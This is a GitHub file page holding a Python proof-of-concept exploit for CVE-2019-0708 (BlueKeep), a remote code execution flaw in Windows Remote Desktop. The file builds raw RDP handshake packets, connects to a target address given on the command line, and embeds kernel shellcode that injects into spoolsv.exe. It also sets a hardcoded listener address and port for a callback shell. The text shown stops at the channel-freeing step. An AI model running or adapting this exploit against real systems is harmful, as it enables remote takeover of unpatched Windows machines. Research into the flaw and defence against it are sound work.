forked from straightblast/My-PoC-Exploits
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2019-0708.py
418 lines (312 loc) · 29.8 KB
/
CVE-2019-0708.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
#!/usr/bin/python
import socket
from OpenSSL import *
from struct import pack, unpack
from sys import argv, exit
class x224ConnectionRequestPacket:
def __init__(self):
# total of 8 bytes
self.rdpNegReq = pack(
'<BBHI',
1, # type (TYPE_RDP_NEG_REQ) , 1 byte
0, # flags , 1 byte (fuzzable)
8, # length , 2 bytes
1, # request protocol , 4 bytes (fuzzable)
)
# total of 7 bytes, (6 bytes without length indicator)
self.x224Crq = pack(
'!BBHHB',
6 + len(self.rdpNegReq), # length indication , 1 byte
# 6: length of this header, excluding length byte
224, # CR -> 1110 (E) CDT -> 0000 (0) for class 0 and 1
0, # dest-ref , 2 bytes (fuzzable)
0, # src-ref , 2 bytes (fuzzable)
0, # class 0
)
self.cr_tpdu = self.x224Crq + self.rdpNegReq
self.tpkt_total_length = len(self.cr_tpdu) + 4
self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)
self.pdu = self.tpktHeader + self.cr_tpdu
class MCSConnectInitialPacket:
def __init__(self, channels):
self.channelDefArray = ''
for channel in channels:
self.channelDefArray += channel.ljust(8, '\x00') + '\x00' * 4
self.clientNetworkData = pack('<HHI',
0xc003, # Header Type
len(self.channelDefArray) + 4 + 2 + 2, # Header Length
len(channels) # channelCount
)
self.clientNetworkData += self.channelDefArray # channelDefArray
# fix - do not touch, or else requires updating header length
self.clientSecurityData = pack('<HHII',
0xc002, # Header Type
12, # Header Length (2 + 2 + 4 + 4)
0x0000001b, # encryption Methods
0, # extEncryption Methods
)
# fix - do not touch, or else requires updatng header length
self.clientCoreData = pack('<HHHHHHHHII',
0xc001, # header type (2 bytes)
0xea, # header length (2 bytes)
0x0a, # version major (2 bytes)
0x08, # version minor (2 bytes)
0x07e8, # desktop Width (2 bytes)
0x05ee, # desktop Height (2 bytes)
0xca01, # color Depth (2 bytes)
0xaa03, # SASSequence (2 bytes)
0x0409, # keyboard Layout (4 bytes)
0x42ee, # client Build (4 bytes)
)
self.clientCoreData += 'A\x00'*15 + '\x00'*2 # clientName (32 bytes)
self.clientCoreData += pack('<III',
7, # keyboard (4 bytes)
0, # keyboardSubType (4 bytes)
12, # keyboardFunctionKey (4 bytes)
)
self.clientCoreData += '\x00'*64 # imeFileName (64 bytes)
self.clientCoreData += pack('<HHIHHH',
0xca01, # postBeta2ColorDepth (2 bytes)
1, # clientProductId (2 bytes)
0, # serialNumber (4 bytes)
0x18, # highColorDepth (2 bytes)
0x0f, # supportColorDepths (2 bytes)
0x07af, # earlyCapabilityFlags (2 bytes)
)
self.clientCoreData += '\x00'*64 # clientDigProductId (64 bytes)
self.clientCoreData += pack('<BBI',
7, # connectionType (1 byte)
0, # pad1octet (1 byte)
1, # serverSelectedProtocol (4 byte) - (subject to change)
)
self.clientCoreData += '\x00' * 18
self.rdp_clientData = pack('!H',
0x814a - 56 - 16 - 12 + len(self.clientNetworkData),
)
self.rdp_clientData += self.clientCoreData + self.clientSecurityData + self.clientNetworkData
self.conferenceCreateRequest = pack('!H',
0x8158 - 56 - 16 - 12 + len(self.clientNetworkData),
)
self.conferenceCreateRequest += '\x00'
self.conferenceCreateRequest += '\x08\x00' # conference name
self.conferenceCreateRequest += '\x10' # lockedConference | listedConference | conductibleConference
self.conferenceCreateRequest += '\x00\x01' # terminationMethod
self.conferenceCreateRequest += '\xc0\x00\x44\x75\x63\x61' # userData: h221NonStandard (44756361)
self.t124Identifer = '\x00\x05\x00\x14\x7c\x00\x01' # ASN.1 BER Encoded
self.connectData = self.t124Identifer + self.conferenceCreateRequest + self.rdp_clientData
self.genericConferenceControl = pack('!HH',
0x0482,
len(self.connectData),
) + self.connectData
self.mcs = '\x7f\x65\x82' # MCS Header
self.mcs += pack('!H',
len(self.genericConferenceControl) + 93) # MCS length (not including length size + header)
self.mcs += '\x04\x01\x01' # calling domain selector - ASN.1 BER octet type
self.mcs += '\x04\x01\x01' # called domain selector - ASN.1 BER octet type
self.mcs += '\x01\x01\xff' # upward flag - ASN.1 BER boolean type
# targetParameters - fix - do not touch or else need to update size
self.mcs += '\x30\x19' # header | size (0x19)
self.mcs += '\x02\x01\x22' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += '\x02\x01\x02' # maxUserIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x00' # maxTokenIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type
self.mcs += '\x02\x01\x00' # minThroughput - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type
self.mcs += '\x02\x02\xff\xff' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type
# minimumParameters - fix - do not touch or else need to update size
self.mcs += '\x30\x19' # header | size (0x19)
self.mcs += '\x02\x01\x01' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += '\x02\x01\x01' # maxUserIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # maxTokenIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type
self.mcs += '\x02\x01\x00' # minThroughput - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type
self.mcs += '\x02\x02\x04\x20' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type
# maximumParameters - fix - do not touch or else need to update size
self.mcs += '\x30\x1c' # header | size (0x1c)
self.mcs += '\x02\x02\xff\xff' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += '\x02\x02\xfc\x17' # maxUserIds - ASN.1 BER integer type
self.mcs += '\x02\x02\xff\xff' # maxTokenIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type
self.mcs += '\x02\x01\x00' # maxThroughput - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type
self.mcs += '\x02\x02\xff\xff' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type
self.x224Data = '\x02\xf0\x80' # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)
self.mcsci_tpdu = self.x224Data + self.mcs + self.genericConferenceControl
self.tpkt_total_length = len(self.mcsci_tpdu) + 4
self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)
self.pdu = self.tpktHeader + self.mcsci_tpdu
class VirtualChannelPacket:
def __init__(self, data, initiator, channelId):
self.virtualChannelData = data
self.channelPduHeader = pack('II', len(self.virtualChannelData), 3)
self.mcsPdu = '\x64' + pack('!H', initiator) + pack('!H', channelId) + '\x70' + pack('!H', 0x8000 + 8 + len(self.virtualChannelData))
self.x224Data = '\x02\xf0\x80' # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)
self.vc_pdu = self.x224Data + self.mcsPdu + self.channelPduHeader + self.virtualChannelData
self.tpkt_total_length = len(self.vc_pdu) + 4
self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)
self.pdu = self.tpktHeader + self.vc_pdu
def sendX224Request(s):
cr = x224ConnectionRequestPacket()
s.sendall(cr.pdu)
data = s.recv(8000)
return data
def sendMCSGCC(s, channels):
mcsci = MCSConnectInitialPacket(channels)
s.sendall(mcsci.pdu)
data = s.recv(8000)
return data
def sendErectDomainRequest(s):
s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00')
def sendAttachUserRequest(s):
s.sendall('\x03\x00\x00\x08\x02\xf0\x80\x28')
data = s.recv(8000)
return data
def sendChannelJoinRequest(s, initiator, channelId):
s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x38' + pack('!HH', initiator, channelId))
data = s.recv(8000)
return data
def sendClientInfo(s):
pdu = '\x03\x00\x01\x4f\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x40\x40\x00\x77\xee\x09\x04\x09\x04\x33\x41\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x20\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x33\x00\x39\x00\x2e\x00\x32\x00\x33\x00\x33\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x44\x00\x4f\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xe0\x01\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendConfirmActivePDU(s, initiator, pduSource):
pdu = '\x03\x00\x02\x04\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x81\xf5\xf5\x01\x13\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\xea\x03\x06\x00\xdf\x01\x4d\x53\x54\x53\x43\x00\x16\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x9a\x07\xb4\x05\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00'
s.sendall(pdu)
def sendRdpPduType_Synchronize(s, initiator, pduSource):
pdu = '\x03\x00\x00\x25\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x16\x16\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendRdpPduType_Control_Action_Cooperate(s, initiator, pduSource):
pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendRdpPduType_Control_Action_RequestControl(s, initiator, pduSource):
pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendRdpPduType_FontList(s, initiator, pduSource):
pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendToVirtualChannel(s, data, initiator, channelId):
vc = VirtualChannelPacket(data, initiator, channelId)
s.sendall(vc.pdu)
def readFromVirtualChannel(s):
while 1:
data = tls.recv(8000)
if '\x03\x00\x00\x22\x02\xf0\x80' in data or '\x03\x00\x00\x6a\x02\xf0\x80' in data:
# got data that comes from virtual channel
return data
else:
# junk data
pass
def makeKernelShellcode():
# Reference: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501
# spoolsv.exe
kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xd8\x83\xe0\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3'
# explorer.exe
#kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xe6\x72\xb2\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3'
return kshellcode
def makeKernelUserPayload(ring3, size):
shellcode = makeKernelShellcode() + ring3
if (size - len(shellcode)) > 0:
shellcode += '\x90' * (size - len(shellcode))
return shellcode
else:
print '[**] ring3 shellcode size exceeds maxmium supporting length [**]'
exit(1)
if __name__ == "__main__":
channels = ['rdpdr', 'MS_T120', 'rdpsnd']
totalMCSChannels = len(channels) + 2
origId = 1003
lhost = '192.168.0.175'
lport = 4444
rhost = argv[1]
rport = 3389
print
print '[*] CVE-2019-0708 (BlueKeep) RCE Exploit [*]'
print '@straight_blast ; [email protected]'
print
print '[-] Establishing Connection'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
data = sendX224Request(s)
#print "x224 Connection Response: " + data.encode('hex')
ctx = SSL.Context(SSL.TLSv1_METHOD)
tls = SSL.Connection(ctx, s)
tls.set_connect_state()
tls.do_handshake()
data = sendMCSGCC(tls, channels)
#print "MCS GCC Response: " + data.encode('hex')
sendErectDomainRequest(tls)
data = sendAttachUserRequest(tls)
#print "Attach User Response: " + data.encode('hex')
initiator = unpack('>I', data[-2:].rjust(4,'\x00'))[0]
#print "Initiator: " + str(initiator)
for i in xrange(totalMCSChannels):
data = sendChannelJoinRequest(tls, initiator, origId + i)
#print "Join Confirm Response (" + str(origId + i) + "): " + data.encode('hex')
data = sendClientInfo(tls)
#print "Error Alert: " + data.encode('hex')
data = tls.recv(8000)
#print "Demand Active PDU: " + data.encode('hex')
sendConfirmActivePDU(tls, initiator, origId + totalMCSChannels - 1)
data = sendRdpPduType_Synchronize(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Synchronize Response: " + data.encode('hex')
data = sendRdpPduType_Control_Action_Cooperate(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Control, Action: Cooperate Response: " + data.encode('hex')
data = sendRdpPduType_Control_Action_RequestControl(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Control, Action: Granted Control Response: " + data.encode('hex')
data = sendRdpPduType_FontList(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Fontmap Response: " + data.encode('hex')
data = readFromVirtualChannel(tls)
#print "RDPDR and RDPSND are now loaded"
print '[-] Connection Stablized'
print '[-] Freeing Object'
free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7
